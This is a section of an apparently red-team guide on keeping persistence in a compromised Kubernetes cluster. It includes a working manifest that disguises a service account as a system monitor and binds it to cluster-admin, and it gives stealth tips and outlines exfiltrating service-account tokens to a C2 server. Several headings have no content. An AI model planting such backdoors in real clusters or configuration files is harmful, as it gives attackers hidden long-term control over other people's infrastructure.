Persistence and Lateral Movement

This section covers various persistence mechanisms specific to Kubernetes environments, including backdoor service accounts and malicious workloads.

Overview

After gaining elevated privileges in a Kubernetes cluster, we can focus on maintaining persistent access to ensure continued control even after system updates, restarts, or security remediation attempts.

Since Kubernetes relies on declarative YAML manifests, access to resource definitions or Helm charts can be enough to embed privilege escalation and persistence mechanisms directly into the cluster configuration. By modifying these files, we can explicitly define insecure settings, backdoors, or overly privileged resources that become applied automatically when the configuration is deployed.


Hidden Service Account

This is one of the most basic yet effective persistence mechanisms, as it relies on human error and assumes that malicious manifests will not be carefully reviewed. By creating a service account that mimics legitimate system components and binding it to a highly privileged role, we can maintain long‑term access to the cluster.

Depending on the architecture, automated CI/CD pipelines or configuration reconciliation mechanisms may eventually overwrite or remove this persistence, but in many environments such backdoors remain unnoticed for extended periods of time.

Giving cluster-admin to the persistence account makes it easier to detect, consider using a custom role.

Stealth Service Account Creation:

# Disguised as system component
apiVersion: v1
kind: ServiceAccount
metadata:
  name: system-node-monitor
  namespace: kube-system
  labels:
    component: system-monitor
    tier: node
automountServiceAccountToken: true
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system-node-monitor-binding
  labels:
    component: system-monitor
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: system-node-monitor
  namespace: kube-system

Token Extraction and Storage:


Periodic Service Account Token Extraction

Periodic service account token extraction is a persistence technique that focuses on continuously harvesting valid credentials rather than maintaining a single static backdoor. By injecting a sidecar container into an existing pod, we can periodically read the mounted service account token and exfiltrate it to a command-and-control (C2) server.

This approach is particularly effective in environments where tokens are rotated or pods are frequently recreated, as it ensures we always have access to fresh credentials while remaining relatively stealthy within legitimate workloads.


Bring Your Own Persistence (BYOP)

Bring Your Own Persistence (BYOP) refers to the idea that once high privileges are obtained in a Kubernetes cluster, persistence is limited only by the our creativity. With elevated permissions, we can leverage multiple native Kubernetes mechanisms to maintain long-term access, such as:

  • poisoning container images or registries

  • abusing initContainers

  • creating scheduled jobs (CronJobs)

  • injecting malicious sidecars

  • deploying legitimate but backdoored workloads and deployments

Because these techniques rely on standard Kubernetes features, they often blend into normal cluster operations and are difficult to detect without strict reviews and continuous monitoring.

Just don't make them super obvious.

Malicious Deployment Manifest

CronJob-based Persistence

Init Containers

Last updated

Was this helpful?